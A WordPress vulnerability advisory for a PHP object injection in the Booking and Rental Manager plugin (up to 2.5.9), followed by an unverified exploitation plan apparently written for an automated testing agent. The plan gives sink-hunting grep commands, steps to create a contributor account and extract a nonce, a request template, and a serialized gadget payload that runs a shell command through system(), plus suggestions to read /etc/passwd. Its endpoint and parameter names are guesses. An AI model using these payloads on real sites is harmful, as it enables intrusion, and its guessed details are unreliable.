CVE-2025-69328

Booking and Rental Manager <= 2.5.9 - Authenticated (Contributor+) PHP Object Injection

highDeserialization of Untrusted Data
7.5
CVSS Score
7.5
CVSS Score
high
Severity
2.6.0
Patched in
9d
Time to patch

Description

The Booking and Rental Manager plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 2.5.9 via deserialization of untrusted input. This makes it possible for authenticated attackers, with contributor-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
High
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=2.5.9
PublishedFebruary 9, 2026
Last updatedFebruary 17, 2026
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-69328 (Booking and Rental Manager) ## 1. Vulnerability Summary **Vulnerability Type:** PHP Object Injection (Deserialization of Untrusted Data) **Impact:** Remote Code Execution (RCE), File Deletion, or Data Retrieval (if a suitable POP chain exists). **Affect…

Show full research plan

Exploitation Research Plan: CVE-2025-69328 (Booking and Rental Manager)

1. Vulnerability Summary

Vulnerability Type: PHP Object Injection (Deserialization of Untrusted Data)
Impact: Remote Code Execution (RCE), File Deletion, or Data Retrieval (if a suitable POP chain exists).
Affected Component: Booking and Rental Manager for Bike | Car | Resort | Appointment | Dress | Equipment plugin <= 2.5.9.
Sink: unserialize() or maybe_unserialize() called on user-controlled input.
Root Cause: The plugin fails to validate or sanitize input before passing it to a deserialization function. Authenticated users with Contributor-level permissions can trigger this code path, typically via AJAX actions or post metadata updates.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php or wp-admin/post.php.
  • Action: Likely a wp_ajax_ handler used to process booking settings, inventory data, or pricing rules.
  • Payload Parameter: (Inferred) rental_data, booking_meta, extra_options, or similar fields processed during a save/update operation.
  • Authentication: Contributor+ (Requires a valid login session for a user with the 'Contributor' role).
  • Preconditions: The plugin must be active. A valid nonce is likely required for the AJAX request.

3. Code Flow (Discovery Phase)

Since source files are not provided, the security agent must first locate the sink and entry point using the following strategy:

  1. Locate the Sink:
    Search for all occurrences of unserialize and maybe_unserialize within the plugin directory:

    grep -rnE "unserialize\s*\(" /var/www/html/wp-content/plugins/booking-and-rental-manager-for-woocommerce/
    
  2. Identify the Entry Point:
    For each result, trace the variable being unserialized back to its source (e.g., $_POST, $_GET, $_REQUEST, or get_post_meta).
    Look for hook registrations that lead to this function:

    grep -rn "add_action" . | grep -E "wp_ajax_|init|admin_init|save_post"
    
  3. Inferred Vulnerable Pattern:
    The vulnerability likely resides in an AJAX handler that processes complex data structures submitted by the user when configuring a rental item or booking.

4. Nonce Acquisition Strategy

If the vulnerability is triggered via an AJAX handler, a nonce is almost certainly required.

  1. Identify Script Localization:
    Look for wp_localize_script in the plugin code to find the JS variable containing the nonce:
    grep -rn "wp_localize_script" .
    
  2. Setup Page:
    Identify the post type used by the plugin (e.g., inventory, rental). Create a new post of this type to ensure the plugin's admin scripts are loaded:
    wp post create --post_type=inventory --post_status=publish --post_title="Exploit Test" --post_author=[CONTRIBUTOR_ID]
    
  3. Extract Nonce:
    • Log in as the Contributor user.
    • Navigate to the editor for the newly created post: /wp-admin/post.php?post=[ID]&action=edit.
    • Use browser_eval to extract the nonce:
      // Example based on common plugin patterns (Verify actual key via grep)
      window.rbm_admin_params?.nonce || window.inventory_data?.ajax_nonce
      

5. Exploitation Strategy

Once the endpoint and parameter are identified:

  1. Identify Gadget Chain: Since no POP chain is present in the plugin, use a simple stdClass or a common WordPress core gadget (if applicable to the PHP version) to demonstrate injection.

  2. Craft Payload:

    // Simple PHP object to test deserialization
    $object = new stdClass();
    echo serialize($object); // O:8:"stdClass":0:{}
    
  3. Submit Request:
    Use the http_request tool to send the payload to admin-ajax.php.

    Example Request Template:

    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    Cookie: [CONTRIBUTOR_COOKIES]
    
    action=[VULNERABLE_ACTION]&nonce=[EXTRACTED_NONCE]&[VULNERABLE_PARAM]=O:8:"stdClass":0:{}
    

6. Test Data Setup

  1. User Creation:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
    
  2. Plugin Configuration:
    Ensure at least one "Rental" or "Inventory" item exists if the vulnerable function processes existing items.
  3. Environment Prep:
    Enable WP_DEBUG and WP_DEBUG_LOG to capture any errors or notices generated during deserialization of an unexpected object.

7. Expected Results

  • Success Criteria: The server processes the request without a 403 error (nonce bypass/validity) and the PHP process attempts to instantiate the injected object.
  • Proof of Concept: If a class with a __destruct or __wakeup method is targeted, evidence of its execution (e.g., a file created, a log entry, or a DNS interaction via O:14:"Requests_Hooks":1:{s:5:"hooks";a:1:{s:13:"before_insert";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:4:"data";s:13:"touch /tmp/vulnerable";}} if the environment permits) will confirm the vulnerability.

8. Verification Steps

  1. Check Logs: Inspect /var/www/html/wp-content/debug.log for deserialization errors or custom log messages.
  2. Database Verification: If the injected data is saved to post_meta, verify the contents using WP-CLI:
    wp post meta get [POST_ID] [META_KEY]
    
  3. Filesystem Check: If the payload was designed to create a file (via a gadget chain):
    ls /tmp/vulnerable
    

9. Alternative Approaches

  • LFI/RFI via Object Injection: If the plugin includes classes that handle file paths in their magic methods, attempt to point them at sensitive files (/etc/passwd).
  • Post Save Hook: If the AJAX path is secure, check if the Contributor can submit the payload via the wp-admin/post.php (saving a post) where maybe_unserialize might be called on metadata during the load or save process.
  • Shortcode Execution: Check if a shortcode attribute is passed to unserialize. As a Contributor, create a post with:
    [rental_shortcode data="O:8:\"stdClass\":0:{}"] and view the post.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Booking and Rental Manager for WooCommerce plugin for WordPress is vulnerable to PHP Object Injection in versions up to and including 2.5.9. This vulnerability allows authenticated attackers with Contributor-level access or higher to inject PHP objects through the deserialization of untrusted input, potentially leading to remote code execution if a suitable POP chain is present.

Exploit Outline

1. Authenticate to the WordPress site as a user with at least Contributor-level privileges. 2. Identify a functionality that processes complex booking or rental data, such as inventory settings, pricing rules, or extra options, which likely uses `unserialize()` or `maybe_unserialize()` on user-supplied metadata. 3. Extract the required security nonce from the admin page's source or localized script variables (e.g., `rbm_admin_params.nonce`). 4. Prepare a serialized PHP object payload. If no specific gadget chain is found within the plugin, use a common gadget from WordPress core or another installed plugin to demonstrate impact. 5. Send a POST request to `wp-admin/admin-ajax.php` or `wp-admin/post.php` containing the malicious payload in the identified parameter (e.g., `rental_data` or `booking_meta`). 6. The vulnerability is triggered when the application deserializes the untrusted input, executing magic methods in the injected object.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.